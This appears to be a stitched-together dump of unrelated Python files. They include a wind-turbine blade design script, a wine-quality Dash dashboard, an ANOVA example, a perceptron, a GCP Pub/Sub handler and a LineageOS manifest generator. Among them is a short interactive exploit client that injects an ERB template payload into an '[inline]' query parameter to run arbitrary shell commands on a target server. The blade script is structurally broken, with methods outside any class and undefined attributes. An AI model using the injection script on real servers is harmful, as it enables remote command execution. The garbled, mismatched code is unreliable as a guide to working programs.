# -*- coding: utf-8 -*-
"""
Created on Fri Jun 22 14:44:49 2018

@author: Jens Reichwein

Shows a GUI with input parameters. The parameters can be plotted, saved and the blade can be seen in 3D
The aerodynamic values of the blades are stored in .txt files for Re- numbers of 50.000. They can be generated using XFoil.
So far, only 4-digit NACA airfoils can be used.
A correction for number of blades could not be succesfully implemented, as the values for the tip showed impossible values.

Input: design wind speed, design rotations, design rotor radius, .txt files of aerodynamic values
Output: bladed design with chord and twist distribution.
"""

import numpy as np
import matplotlib.pyplot as plt

try:
    import IPython
    shell = IPython.get_ipython()
    shell.enable_matplotlib(gui='qt')
except:
    print('failed')

#########
###############          entries          #####################################
    def BEM(self):
        self.rotor_diameter         = 0.2                                       # rotor diameter
        self.hub_diameter           = 0.056                                     # hub diameter
        self.rotations              = 3000                                      # rotations
        self.v_des                  = 15                                        # wind speed
        self.Blades                 = 3                                         # blades
        self.sections               = 15                                        # sections
        self.efficiency             = 80                                        # efficiency
        self.airfoil                = 'NACA_2418'                               # airfoil
###############################################################################
###############          functions           ##################################
        self.aerodynamics()
        self.fix_blades()
###############################################################################
    def aerodynamics(self):
        self.Profile            = self.airfoil
        self.Re_init            = 100000
        try:
            self.Re
        except AttributeError:
            link = 'Airfoils/polars/' + str(self.Profile) + '/Montgomerie/' + str(self.Profile) + '_T1_Re'+str('{:.3f}'.format(((self.Re_init)/10e5))) + '_M0.00_N9.0_360_M.dat'
        else:
            self.base = 5000
            self.Re = int(self.base * round(float(self.Re)/self.base))

            link = 'Airfoils/polars/' + str(self.Profile) + '/Montgomerie/' + str(self.Profile) + '_T1_Re'+str('{:.3f}'.format(((self.Re)/10e5))) + '_M0.00_N9.0_360_M.dat'

        with open(link, 'r') as fp:
            for i in range (15):
                next(fp)
            data = fp.read()
            alpha = []
            c_L = []
            c_D = []
            for line in data.splitlines():
                temp = line.split()
                if temp:
                    alpha.append(eval(temp[0]))
                    c_L.append(eval(temp[1]))
                    c_D.append(eval(temp[2]))
                else:
                    break

        L2D = [ x/c_D[i] for i,x in enumerate(c_L) ]
        alpha_pos = L2D.index(max(L2D[10:]))
        self.alpha = alpha[alpha_pos]
        self.cl = c_L[alpha_pos]
        self.cd = c_D[alpha_pos]

    def calculation(self):
        '''
        Input:  rotor diameter, hub diameter, rotations, design wind velocity, Airfoil, amount of sections, efficiency, if desired: amount of blades
        Requirements: txt. data of the aerodynamic values of the used airfoils in the same folder
        Output: BEM code calculated parameters: local radii, chord-/ twist-distribution, thrust, torque, power (-coefficients)
        '''
        self.aerodynamics()

        self.frequency          = self.rotations /60
        self.Omega              = 2*np.pi*self.frequency

        self.nu                 = 15.11*10**-6
        self.rho                = 1.225

        self.Radius             = self.rotor_diameter/2
        self.hub_radius         = self.hub_diameter/2
        self.d_r                = (self.Radius- self.hub_radius)/(self.sections-1)

        self.TSR                = self.Omega * self.Radius / self.v_des
        self.v_tip              = self.Omega*self.Radius

        self.A                  = np.pi * (self.Radius**2 -  self.hub_radius**2)
        self.P_w                = 0.5* self.rho * self.v_des**3 * self.A
        self.P_t                = self.P_w * 16/27
        self.Method             = 'mixed'#'Glauert' #'straight Line' 'Wilson-Walker' 'mixed'

        #################################################################################
        print('{:^8}| {:^8}| {:^8}| {:^8}| {:^8}| {:^8}| {:^8}| {:^8}| {:^8}| {:^8}| {:^8}| {:^8}| {:^8}'.format("a'",'a',"Radius","ax. ind.","chord", 'c/R', 'Twist', 'Re', 'solidity','c_P', 'F', 'f_tip', 'f_tip'))

        self.a_ax_list          = []
        self.a_rot_list         = []

        self.chord_list         = []
        self.Re_list            = []
        self.twist_list         = []
        self.v_app_list         = []

        self.F_list             = []

        self.c_T_list           = []
        self.c_P_list           = []

        self.T_list             = []
        self.M_list             = []
        self.P_list             = []

        self.radius_list        = []

        self.a_ax_init       = 0.0
        self.a_rot_init      = 0.001
        self.delta_a         = 1.0
        for i in range(self.sections-1):
            self.radius          = self.hub_radius + (i*self.d_r+(i+1)*self.d_r)/2
            self.radius_list.append(self.radius)

            while abs(self.delta_a)> 10e-8:#self.a_ax_init < self.a_ax:#abs(a_ax - a_ax_init)>0:#a_ax > a_ax_init:#

                self.v_rot          = self.radius*2*np.pi*self.frequency
                self.v_app          = np.sqrt((self.v_des*(1-self.a_ax))**2+(self.v_rot*(1+self.a_rot))**2)

                self.TSR_local      = self.TSR * self.radius / self.Radius

                self.phi_rad        = np.arctan(((1-self.a_ax)*self.v_des)/((1+self.a_rot)*(self.Omega*self.radius)))
                self.phi_deg        = np.rad2deg(self.phi_rad)

                self.twist          = self.phi_deg-self.alpha
###############        Prandtl Correction             ##########################
                self.f_tip          = 2/np.pi*(np.arccos(np.exp(-(self.B/2 *((self.Radius-self.radius)/(self.radius * np.sin(self.phi_rad)))))))
                self.f_hub          = 2/np.pi*(np.arccos(np.exp(-(self.B/2 *((self.radius-self.hub_radius)/(self.radius * np.sin(self.phi_rad)))))))
                self.F              = self.f_tip*self.f_hub

                self.chord          = 8*np.pi*self.radius*np.sin(self.phi_rad)/(3*self.B*self.cl*self.TSR_local)

                self.d_L            = 0.5*self.rho*self.chord*self.v_app**2*self.cl*self.d_r#*radius
                self.d_D            = 0.5*self.rho*self.chord*self.v_app**2*self.cd*self.d_r#*radius

                self.cn             = self.cl*np.cos(self.phi_rad) + self.cd*np.sin(self.phi_rad)
                self.cr             = self.cl*np.sin(self.phi_rad) - self.cd*np.cos(self.phi_rad)

                self.a_rot          = 1/((4*self.F*(np.sin(self.phi_rad)*np.cos(self.phi_rad)))/(self.cr*self.solidity)-1)

                self.d_T_MOM        = 4*np.pi*self.radius*self.rho*self.v_des**2*(1-self.a_ax)*self.a_ax*self.d_r*self.F
                self.d_M_MOM        = 4*np.pi*self.radius*self.rho*self.v_des*(self.Omega*self.radius**2*(1-self.a_ax))*self.a_rot*self.d_r*self.F

                self.d_T_BE         = self.B*self.cn *0.5*self.rho*self.chord*(self.v_app**2)*self.d_r
                self.d_M_BE         = self.B*self.cr *0.5*self.rho*self.chord*(self.v_app**2)*self.radius*self.d_r

                self.solidity       = self.B*self.chord/(2*np.pi*self.radius)

                if self.Method == 'Glauert':
                    if self.a_ax <= 0.4:
                        self.a_ax = 1/self.F*(0.143 + np.sqrt(0.0203-0.6427*(0.899-self.c_T)))
                        self.c_T = self.F*self.solidity*(1-self.a_ax)**2*(self.cl*self.cn/(np.sin(self.phi_rad)*np.sin(self.phi_rad)))

                self.count       += 1
                self.delta_a     = self.a_ax_init - self.a_ax

#                self.B_EP = self.a_ax/(1+self.a_rot)*4*np.sin(self.phi_rad)
#                self.chord2 = self.B_EP *2*np.pi*self.v_des/(self.B*self.cl*self.Omega)

                self.Re = self.v_app*self.chord/self.nu

                self.epsilon = self.cd/self.cl
                self.eta = (1-self.epsilon*(1/np.tan(self.phi_rad)*(1/np.tan(self.phi_rad))/((1/np.tan(self.phi_rad)+self.epsilon))))

                self.c_P = 4*self.a_ax*(1-self.a_ax)**2
                self.d_c_P = 2*(1-self.a_ax)*self.a_rot *self.TSR**2*(self.radius/self.Radius)**4

                self.d_a = abs(self.a_ax_init-self.a_ax)

                if self.a_ax_init+self.a_ax >0:
                    self.a_ax_init = (self.a_ax_init+self.a_ax)/2

###############        Correction Methods            ##########################
                self.c_T = (1-self.a_ax)**2*self.solidity*self.cn/(np.sin(self.phi_rad)*np.sin(self.phi_rad))

                self.T = 0.5*self.rho*self.c_T*np.pi*self.radius**2*self.v_des**2
                self.P = self.Omega*self.d_M_BE*self.efficiency

            self.a_ax_list.append(self.a_ax),       self.a_rot_list.append(self.a_rot)
            self.chord_list.append(self.chord)
            self.c_P_list.append(self.c_P)
            self.c_Thrust_list.append(self.c_T)
            self.F_list.append(self.F)
            self.M_list.append(self.d_M_BE)
            self.P_list.append(self.P)

            self.Re_list.append(self.Re)#,          self.Re2_list.append(self.rey2)
            #self.F_list.append(self.F)
            #self.Thrust_list.append(self.d_T_BE)
            self.Thrust_list.append(self.T)
            #self.T2_list.append(self.T2)
            self.twist_list.append(self.twist)
            self.v_app_list.append(self.v_app), self.T_list.append(self.d_T_BE)
            #self.T_list.append(self.d_T_MOM)
            print('{:>8,.3f}| {:>8.3f}| {:>8.3f}| {:>8.3f}| {:>8.3f}| {:>8.3f}| {:>8.3f}| {:>8,.0f}| {:>8.3f}| {:>8.3f}| {:>8.3f}| {:>8.3f}| {:>8.3f}| {:>8.3f}'.format(self.a_rot, self.a_ax_init, self.radius, self.a_ax_init, self.chord, self.chord/self.Radius, self.twist, self.Re, self.solidity, self.c_P, self.F, self.f_tip, self.f_hub, self.phi_rad))
        self.M_tot = sum(self.M_list)
        self.P_tot = sum(self.P_list)*self.efficiency

###############################################################################
###############          print           ######################################
        print(50 * '--')
        print('{:<15s}: {:>10.3f} m | {:<15s}: {:>10.0f}   | {:<15s}: {:>10.4f} m'.format      ('Rot Diameter', self.rotor_diameter,'Sections', self.sections -1, 'delta r', self.d_r))
        print('{:<15s}: {:>10s}   | {:<15s}: {:>10.3f} m/s'.format          ('Profile', self.profile, 'des. wind speed', self.v_des))
        print('{:<15s}: {:>10.0f}   | {:<15s}: {:>10.3f} rpm'.format          ('Blades', self.B, 'Rotations', self.rotations))
        if self.v_tip > 80:
            print('{:<15s}: {:>10.3f} m/s -> above 80 m/s'.format   ('Tip velocity', self.v_tip, ))
        else:
            print('{:<15s}: {:>10.3f} m/s -> below 80 m/s'.format   ('Tip velocity', self.v_tip))
        print('{:<15s}: {:>10.3f}   '.format       ('TSR', self.TSR, ))
        print('{:<15s}: {:>10.3f} W | {:<15s}: {:>10.3f} W | {:<15s}: {:>10.3f} W | {:<15s}: {:>10.3f} %'.format('Power wind', self.P_w, 'Power Betz', self.P_t, 'Power WT', self.P_tot, 'Efficiency η', 100*self.P_tot/self.P_w))
        print('{:<15s}: {:>10.3f}   | {:<15s}: {:>10.3f}   | {:<15s}: {:>10.3f} ° | {:<15s}: {:>10.3f} '.format('lift coeff.', self.cl, 'drag coeff.', self.cd, 'AoA', self.alpha, 'L2D', self.cl/self.cd))
        print('{:<15s}: {:>10.3f} Nm'.format('Torque WT', self.M_tot))
        print(50*'--')
###############################################################################
###############          plot           #######################################
    def plotting(self):
        if self.plot.get() == 1:

            plt.figure('plots', figsize=(10,5))
            plt.title(self.profile)
            ax1 = plt.subplot(221)
            plt.xlabel('Radius [m]')
            plt.ylabel('Twist [°]')
            plt.xlim(0,self.Radius*1.1)
            plt.ylim(0.0, 36.0)
            plt.minorticks_on()
            plt.grid(True,which='major')
            plt.grid(True,which='minor', linestyle='--')
            ax1.plot(self.radius_list,self.twist_list, color = 'k', marker = '.')

            ax2 = plt.subplot(222)
            plt.xlabel('Radius [m]')
            plt.ylabel('Chord [m]')
            plt.xlim(0,self.Radius*1.1)
            plt.ylim(0.0, 0.12)
            plt.minorticks_on()
            plt.grid(True,which='major')
            plt.grid(True,which='minor', linestyle='--')
            ax2.plot(self.radius_list,self.chord_list, color = 'k', marker = '.')

            ax3 = plt.subplot(223)
            plt.xlabel('Radius [m]')
            plt.ylabel('Re [-]')
            plt.xlim(0,self.Radius*1.1)
            plt.ylim(0,100000)
            plt.minorticks_on()
            plt.grid(True,which='major')
            plt.grid(True,which='minor', linestyle='--')
            ax3.plot(self.radius_list,self.Re_list, color = 'k', marker = '.')

            ax4 = plt.subplot(224)
            plt.xlabel('Radius [m]')
            plt.ylabel('apparent wind velocity [m/s]')
            plt.xlim(0,self.Radius*1.1)
            plt.ylim(0,80)
            plt.minorticks_on()
            plt.grid(True,which='major')
            plt.grid(True,which='minor', linestyle='--')
            ax4.plot(self.radius_list,self.v_app_list, color = 'k', marker = '.')

            plt.show()

###############################################################################
#self.F = 1
#chord       = 16*np.pi/(self.B) * radius/self.cl * (np.sin(1/3 * np.arctan(self.Radius/radius/self.TSR)))**2
#chord       = 8 * F*radius*np.pi*np.sin(phi_rad)/(self.B*self.cl)*((1-self.TSR_local*np.tan(phi_rad))/(np.tan(phi_rad+self.TSR_local)))
#self.chord       = 8*np.pi*self.radius/(self.B*self.cl)*(1-np.cos(self.phi_rad))

#                if self.Method == 'straight Line':
#                    self.c_T1 = 1.816
#                    self.c_T = self.c_T1 -4 *(np.sqrt(self.c_T1)-1)*(1-self.a_ax)
#
#                if self.Method == 'Wilson-Walker':
#                    self.a_ac = 0.2
#                    self.K = 4*self.F*np.sin(self.phi_rad)*np.sin(self.phi_rad)/(self.solidity*self.cn)
#                    if self.a_ax <= self.a_ac:
#                        self.c_T = 4*self.F*self.a_ax*(1-self.a_ax)
#                    elif self.a_ax >0.2:
#                        self.a_ax = 1/2*(2+self.K*(1-2*self.a_ac))-np.sqrt((self.K*(1-2*self.a_ac)**2+4*(self.K*self.a_ax**2-1)))
#                        self.c_T = 4*self.F*(self.a_ac**2+self.a_ax*(1-2*self.a_ac))
#                if self.Method == 'this one':
#                    self.a_c = 0.2
#                    if self.a_ax <= self.a_c:
#                        self.K           = 4*self.F*np.sin(self.phi_rad)*np.sin(self.phi_rad)/(self.solidity*self.cn)
#                        self.a_ax       = 1/(self.K+1)
#                    else:
#                    #    self.a_ax    = 1/((4*self.F*(np.sin(self.phi_rad)*np.sin(self.phi_rad)))/(self.cn*self.solidity)+1)
#                        self.a_ax    = 1/2*(2+self.K*(1-2*self.a_c)-np.sqrt((self.K*(1-2*self.a_c)+2)**2+4*(self.K*self.a_c**2-1)))

            #                self.a_c = 0.2
#
#                if self.a_ax <= self.a_c:
#                    self.K          = 4*self.F*np.sin(self.phi_rad)*np.sin(self.phi_rad)/(self.solidity*self.cn)
#                    self.a_ax       = 1/(self.K+1)
#                else:
#                #    self.a_ax    = 1/((4*self.F*(np.sin(self.phi_rad)*np.sin(self.phi_rad)))/(self.cn*self.solidity)+1)
#                    self.a_ax    = 1/2*(2+self.K*(1-2*self.a_c)-np.sqrt((self.K*(1-2*self.a_c)+2)**2+4*(self.K*self.a_c**2-1)))


#!/usr/bin/env python3

import requests
import argparse

parser = argparse.ArgumentParser()
# payload = <%25=%20%25x(whoami)%20%25>

parser.add_argument('-H', '--host', type=str,
                    help='just give me the query like "page?id" i will attach the next part (i mean [inline] part')

args = parser.parse_args()

payload = ''
while payload != 'quit':
    paylaod = input(f"what paylaod do you want to send: ")
    get_host = args.host + f"[inline]=%3C%25=%20%25x({paylaod})%20%25%3E"
    get_req = requests.get(get_host).text
    print(get_req)


n,x = map(int,input().split())
import itertools

c = list(itertools.combinations(list(range(1,n+1)),3))
A = 0
for i in c:
    # print(i)
    # print(sum(i))
    if sum(i)==x:
        A +=1
print(A)


import pandas as pd
from scipy.stats import f_oneway

# Örnek veri
data = {'Group': ['A', 'A', 'A', 'B', 'B', 'B', 'C', 'C', 'C', 'D' , 'D', 'D'],
        'Value': [10, 9, 5, 11, 16, 9, 13, 8, 9, 18 , 23 , 25]}
df = pd.DataFrame(data)

# Gruplara göre değerleri ayrı ayrı almak
group1 = df[df['Group'] == 'A']['Value']
group2 = df[df['Group'] == 'B']['Value']
group3 = df[df['Group'] == 'C']['Value']
group4 = df[df['Group'] == 'D']['Value']
# ANOVA testi
f_value, p_value = f_oneway(group1, group2, group3 , group4)

# ANOVA özet tablosunu yazdırma
anova_table = pd.DataFrame({'F value': [f_value],
                            'p value': [p_value]})
print(anova_table)


import pandas as pd
import plotly.express as px

import dash
import dash_core_components as dcc
import dash_html_components as html
import base64
from dash.dependencies import Input, Output

app = dash.Dash(__name__)

# ---------------------------------------------------------------
# Taken from https://opendata.cityofnewyork.us/
# myfile = open('./assets/winequality-red.csv')
df = pd.read_csv("./assets/winequality-red.csv")
coding = {"quality": {0 : "low", 1:"low", 2: "low", 3:"low", 4:"moderate", 5:"moderate",
                      6:"moderate", 7:"high", 8:"high", 9:"high", 10:"high"}}
df = df.replace(coding)
# ---------------------------------------------------------------

# ---------------------------------------------------------------------------------------------------------------------------
# encode images
image_filename1 = './assets/graph-bar.png'# replace with your own image
encoded_image1 = base64.b64encode(open(image_filename1, 'rb').read())

image_filename2 = './assets/wine-glass.png'# replace with your own image
encoded_image2 = base64.b64encode(open(image_filename2, 'rb').read())

image_filename3 = './assets/stats.png'# replace with your own image
encoded_image3 = base64.b64encode(open(image_filename3, 'rb').read())
# ---------------------------------------------------------------------------------------------------------------------------

app.layout = html.Div([
    html.Div([
        html.Div(id="title"),
        html.Label(['DashBoard - Red Wine'], style={"font": "bold 30px sans-serif", "color": "#E9E9E9"})
    ], style={"height": "50px", "text-align": "center", "background-color": "#212529", "padding-top": "17px"}),

    # -----------------------------------------------------------------------------------------------------------------------

    html.Div([
        html.Div([
            html.Label("Total Number Of Data Values", style={"font": "15px sans-serif", "color": "#ABABAB","margin":"40px","margin-right":"0px","float":"left"}),
            html.Label(df['quality'].count(), style={"font": "bold 35px sans-serif", "color": "#ffffff","margin-left":"30px","margin-top":"30px","float":"left"}),
            html.Label(html.Img(src='data:image/png;base64,{}'.format(encoded_image1.decode()),style={"margin-top":"17px","margin-left":"40px","margin-bottom":"10px","float":"Left"}))
        ], style={"background-color": "#2c3135", "display": " table-cell"}),
        html.Div([
            html.Label("No Of Explantory Variables",style={"font": "15px sans-serif", "color": "#ABABAB", "margin": "40px", "margin-right": "0px","float": "left"}),
            html.Label(" 11 ",style={"font": "bold 35px sans-serif", "color": "#ffffff","margin-left": "50px", "margin-top": "30px", "float": "left"}),
            html.Label(html.Img(src='data:image/png;base64,{}'.format(encoded_image2.decode()),style={"margin-top": "17px", "margin-right": "40px","margin-bottom": "10px", "float": "right"}))
        ], style={"background-color": "#2c3135", "display": " table-cell"}),
        html.Div([
            html.Label("Categories Of Response",style={"font": "15px sans-serif", "color": "#ABABAB", "margin": "40px", "margin-right": "0px","float": "left"}),
            html.Ul([
                html.Li("Low 0-3", style={"font": "12px sans-serif", "color": "#ABABAB"}),
                html.Li("Moderate 4-6", style={"font": "12px sans-serif", "color": "#ABABAB"}),
                html.Li("High 7-10", style={"font": "12px sans-serif", "color": "#ABABAB"})
            ],style={ "margin": "0px","margin-top":"32px","float": "left","list-style-type":"none"}),
            html.Label(html.Img(src='data:image/png;base64,{}'.format(encoded_image3.decode()),style={"margin-top": "15px", "margin-right": "40px","margin-bottom": "10px", "float": "right"}))
        ], style={"background-color": "#2c3135", "display": " table-cell"}),
    ], style={"display": "table", "width": "100%", "table-layout": "fixed", "border-spacing": "20px","margin-top":"-20px"}),

    # -----------------------------------------------------------------------------------------------------------------------

    html.Div([
        html.Label(["Choose variable:"], style={"font-weight": "bold","font-family": "sans-serif", "margin": "10px", "color": "#E9E9E9"}),
        dcc.Dropdown(id='my_dropdown',
                    options=[
                        {'label': 'fixedacidity ', 'value': 'fixedacidity'},
                        {'label': 'volatile acidity', 'value': 'volatile acidity'},
                        {'label': 'citric acid', 'value': 'citric acid'},
                        {'label': 'residual sugar', 'value': 'residual sugar'},
                        {'label': 'chlorides', 'value': 'chlorides'},
                        {'label': 'free sulfur dioxide', 'value': 'free sulfur dioxide'},
                        {'label': 'total sulfur dioxide', 'value': 'total sulfur dioxide'},
                        {'label': 'density ', 'value': 'density'},
                        {'label': 'pH ', 'value': 'pH'},
                        {'label': 'sulphates ', 'value': 'sulphates'},
                        {'label': 'alcohol ', 'value': 'alcohol'}],

                    value='fixedacidity',  # dropdown value selected automatically when page loads
                    disabled=False,  # disable dropdown value selection
                    searchable=True,  # allow user-searching of dropdown values
                    placeholder='Please select...',  # gray, default text shown when no option is selected
                    clearable=True , # allow user to removes the selected value
                    #style={"background-color": "#2c3135","margin-top":"10px","margin-bottom":"-20px"},
        ),

        html.Div([
            html.Div([
                html.H2(id="graph_1_title", style={"color": "#E9E9E9", "text-align": "center","font-family": "sans-serif"}),
                dcc.Graph(id="our_graph1")
            ], style={"display": " table-cell"}),
            html.Div([
                html.H2(id="graph_2_title", style={"color": "#E9E9E9", "text-align": "center", "font-family": "sans-serif"}),
                dcc.Graph(id="our_graph2")
            ], style={"display": " table-cell"})
        ], style={"display": "table", "width": "100%", "table-layout": "fixed", "border-spacing": "20px","margin-bottom":"-20px"}),
    ], style={"background-color": "#2c3135", "padding": "15px","margin":"20px","margin-top":"0px"}),

    # ------------------------------------------------------------------------------------------------------------------
    html.Div([
        html.Div([
            html.H2("Response Variable", style={"color": "#E9E9E9", "text-align":"center","font-family": "sans-serif"}),
            dcc.RadioItems(id="radioButton",
                           options=[
                                {'label': 'Bar Chart', 'value': 'BarChart'},
                                {'label': 'Pie Chart', 'value': 'PieChart'},
                            ],
                           value="PieChart",
                           style={"color": "#E9E9E9", "text-align":"center","font-family": "sans-serif","margin":"20px"}
                           ),
            dcc.Graph(id='responseVariableChart')
        ], style={"height": "400px","background-color": "#2c3135", "display": " table-cell"}),

        html.Div([
            html.Label(["Select Variable:"],  style={"font-weight": "bold","font-family": "sans-serif", "margin": "10px", "color": "#E9E9E9"}),
            dcc.Dropdown(id="my_dropdown2",
                         options=[
                             {'label': 'Scatterplot of citric acid vs pH', 'value': 'citric acid'},
                             {'label': 'Scatterplot of volatile acid vs pH', 'value': 'volatile acidity'},
                             {'label': 'Scatterplot of fixedacidity vs pH', 'value': 'fixedacidity'},
                             {'label': 'Scatterplot of alcohol vs residual sugar', 'value': 'alcohol'}],
                         value='citric acid',
                         searchable=True,
                         placeholder='Please select...',
                         clearable=True,
                         #style={"background-color": "#2c3135","margin-top":"10px"},
                         ),
            html.H2(id="graph_4_title", style={"color": "#E9E9E9", "text-align":"center", "font-family": "sans-serif"}),
            html.Div([
                dcc.Graph(id="our_graph4")
            ])
        ], style={"background-color": "#2c3135", "display": " table-cell","padding": "15px"})
    ], style={"display": "table", "width": "100%", "table-layout": "fixed", "border-spacing": "20px","margin-bottom": "-20px", "margin-top": "-20px"}),
], style={"margin": "-8px", "background-color": "#212529"})

# ---------------------------------------------------------------
# set Titles for graphs
@app.callback(
    Output(component_id='graph_1_title', component_property='children'),
    [Input(component_id='my_dropdown', component_property='value')]
)
def build_graph(data_chosen):
    tit = ('Histogram of {} '.format(data_chosen))
    return tit

@app.callback(
    Output(component_id='graph_2_title', component_property='children'),
    [Input(component_id='my_dropdown', component_property='value')]
)
def build_graph(data_chosen):
    tit = ('Boxplot of {} Vs quality'.format(data_chosen))
    return tit

# ---------------------------------------------------------------
# Connecting the Dropdown values to the graph
# Creating univariate histograms

@app.callback(
    Output(component_id='our_graph1', component_property='figure'),
    [Input(component_id='my_dropdown', component_property='value')]
)
def build_graph(column_chosen):
    dff = df
    col2 = column_chosen
    if col2 == "fixedacidity":
        bar_color = "#006382"
    elif col2 == "volatile acidity":
        bar_color = "#009A73"
    elif col2 == "citric acid":
        bar_color = "#7C5592"
    elif col2 == "residual sugar":
        bar_color = "#D4AC0D"
    elif col2 == "chlorides":
        bar_color = "#C0392B"
    elif col2 == "free sulfur dioxide":
        bar_color = "#07758A"
    elif col2 == "total sulfur dioxide":
        bar_color = "#925AAC"
    elif col2 == "density":
        bar_color = "#AEAEAE"
    elif col2 == "pH":
        bar_color = "#EA9358"
    elif col2 == "sulphates":
        bar_color = "#627DCF"
    elif col2 == "alcohol":
        bar_color = "#D7399D"
    else:
        bar_color = "#EA9358"
    fig = px.histogram(dff, x=col2, nbins=30, height=380, opacity=0.8, color_discrete_sequence=[bar_color])
    fig.layout.plot_bgcolor = "#2c3135"
    fig.layout.paper_bgcolor = "#2c3135"
    fig.update_layout(
        bargap=0.01,
        font_family="sans-serif",
        font_color="#C3C3C3",
        #margin=dict(t=0, b=0)
    )
    return fig

# Creating bivariate boxplots
@app.callback(
    Output(component_id='our_graph2', component_property='figure'),
    [Input(component_id='my_dropdown', component_property='value')]
)
def build_graph(column_chosen):
    dff = df
    fig = px.box(dff, x="quality", y=column_chosen, color="quality", height=380)
    fig.update_xaxes(type='category')
    fig.layout.plot_bgcolor = "#2c3135"
    fig.layout.paper_bgcolor = "#2c3135"
    fig.update_layout(
        font_family="sans-serif",
        font_color="#C3C3C3",
        legend_title_font_color="#3E8E68",
        #margin = dict(t=15, b=0),
    )
    return fig

# ---------------------------------------------------------------
# Creating response variable barchart
@app.callback(
    Output(component_id='responseVariableChart', component_property='figure'),
    [Input(component_id='radioButton', component_property='value')]
)
def build_graph(chart_chosen):
    if chart_chosen == "PieChart":
        fig = px.pie(df, names=df["quality"], height=550,opacity=0.8)
    if chart_chosen == "BarChart":
        fig = px.bar(df["quality"], x="quality", height=580,opacity=0.8)
    fig.layout.plot_bgcolor = "#2c3135"
    fig.layout.paper_bgcolor = "#2c3135"
    fig.update_layout(
        font_family="sans-serif",
        font_color="#C3C3C3",
        legend_title_font_color="#3E8E68",
        #margin=dict(t=30, b=0),
    )
    return fig

# ---------------------------------------------------------------
# Connecting the Dropdown values to the graph
# Set Graph title
@app.callback(
    Output(component_id='graph_4_title', component_property='children'),
    [Input(component_id='my_dropdown2', component_property='value')]
)
def build_graph(data_chosen):
    if data_chosen == "alcohol":
        tit = ('ScatterPlot of {} Vs residual sugar'.format(data_chosen))
    else:
        tit = ('ScatterPlot of {} Vs pH'.format(data_chosen))
    return tit

# Creating bivariate scatterplot
@app.callback(
    Output(component_id='our_graph4', component_property='figure'),
    [Input(component_id='my_dropdown2', component_property='value')]
)

def build_graph(column_chosen):
    dff = df
    col = column_chosen
    if col == "alcohol":
        xx = dff["residual sugar"]
    else:
        xx = dff["pH"]

    fig = px.scatter(dff, x=xx, y=df[column_chosen], color="quality", height=550)
    fig.layout.plot_bgcolor = "#2c3135"
    fig.layout.paper_bgcolor = "#2c3135"
    fig.update_layout(
        font_family="sans-serif",
        font_color="#C3C3C3",
        legend_title_font_color="#3E8E68",
        #margin=dict(t=15, b=0),

    )

    return fig

if __name__ == '__main__':
    app.run_server(debug=True)


import base64
import functions_framework
import json

# Triggered from a message on a Cloud Pub/Sub topic.
@functions_framework.cloud_event
def hello_pubsub(cloud_event):
   # Print out the data from Pub/Sub, to prove that it worked
   asset_data = base64.b64decode(cloud_event.data["message"]["data"])
   asset_list = json.loads(asset_data)
   asset_feed_data = asset_list['asset']

   if asset_feed_data['assetType'] == "cloudfunctions.googleapis.com/CloudFunction":
      print("Function Name:", asset_feed_data['name'],"\nAsset Type: Cloud Function 1st Generation")
   elif asset_feed_data['assetType'] == "run.googleapis.com/Service" and "goog-managed-by" in asset_feed_data["resource"]["data"]["metadata"]["labels"]:
      print("Function Name:", asset_feed_data['name'],"\nAsset Type: Cloud Function 2nd Generation")
   elif asset_feed_data['assetType'] == "run.googleapis.com/Service" and "goog-managed-by" not in asset_feed_data["resource"]["data"]["metadata"]["labels"]:
      print("Function Name:", asset_feed_data['name'],"\nAsset Type: Cloud Run Service")


import pygame
import random, math

from settings import *

def activate(sum_input):
    return (1 if sum_input >= 0 else -1)

class Perceptron:

    def __init__(self, num):

        # Learning rate
        self.lr = 0.6

        # Initialize weights randomly
        self.weights = []
        for n in range(num):
            w = random.uniform(-1, 1)
            self.weights.append(w)

        self.pos1 = pygame.Vector2(0,0)
        self.pos2 = pygame.Vector2(WIDTH,0)

    def guess(self, point):
        weighted_sum = 0

        # Calculate weighted sum
        inputs = (point.x, point.y)
        for ind, weight in enumerate(self.weights):
            weighted_sum += weight * inputs[ind]
        weighted_sum += point.bias

        # Evaluate activation function
        output = activate(weighted_sum)
        return output

    def train(self, point):

        guess = self.guess(point)
        target = point.label

        error = target - guess

        inputs = (point.x, point.y)

        # Tune weights
        for ind, weight in enumerate(self.weights):
            self.weights[ind] += error * inputs[ind] * self.lr

    def pixels(self, x, y):
        return ((1 + x) / 2 * WIDTH, (1 - y) / 2 * HEIGHT)

    def show(self, surface):
        x1 = -1
        x2 = 1
        bias = 1

        y1 = -self.weights[0] / self.weights[1] * x1 - bias / self.weights[1]
        y2 = -self.weights[0] / self.weights[1] * x2 - bias / self.weights[1]

        self.pos1 = self.pos1.lerp(pygame.Vector2(self.pixels(x1,y1)),0.1)
        self.pos2 = self.pos2.lerp(pygame.Vector2(self.pixels(x2,y2)),0.1)

        pygame.draw.line(surface, WHITE, self.pos1, self.pos2, 2)


#!/usr/bin/python3

import os
import sys

try:
    from github import Github
except ImportError:
    print("Please install the pygithub package via pip3")
    exit(1)
e = os.environ.copy()
# Environment variables for github username and api token
try:
    u = e["GHUSER"]
    p = e["GHTOKEN"]
except KeyError:
    print("Please set the GHUSER and GHTOKEN environment variables")
    exit(1)

orgName = "LineageOS"
org = Github(u, p).get_user(orgName)

file = open("default.xml", "w")
file.write('<?xml version="1.0" encoding="UTF-8"?>\n')
file.write("<manifest>\n")
file.write("\n")
file.write('  <remote  name="github"\n')
file.write('           fetch=".." />\n')
file.write("\n")
file.write('  <default revision="main"\n')
file.write('           remote="github"\n')
file.write('           sync-j="4" />\n')
file.write("\n")

repos = []

for repo in org.get_repos():
    repos.append(repo.full_name)

for repo in sorted(repos):
    file.write('  <project name="' + repo + '" />\n')

file.write("</manifest>\n")
file.close()


import matplotlib.pyplot as plt
import pandas as pd
import numpy as np
import os

plt.style.use('science')
plt.rc('text.latex', preamble=r'\usepackage{amsmath} \usepackage{amssymb}')
SHOW = False

def dim_su(x):
    return x ** 2 - 1

def dim_so(x):
    return x * (x - 1) // 2

def dim_sp(x):
    return x * (x + 1) // 2

def plot_dimensions_annotated(add_I=False, closed=False):
    data_path = f'./data/{"closed" if closed else "open"}/'

    Nlist_2 = [4, 8, 16, 32, 64, 128]
    Nlist = [int(np.log2(x)) for x in Nlist_2]
    fig, axs = plt.subplots(1, 1)
    fig.set_size_inches(6, 6)
    NUM_ALGEBRAS = 23
    NUM_REDS = 7
    NUM_BLUES = 5
    reds_cm = plt.get_cmap('Reds')
    blues_cm = plt.get_cmap('Blues')
    colors_reds = [reds_cm(0.2 + 0.8 * i / NUM_REDS) for i in range(NUM_REDS)]
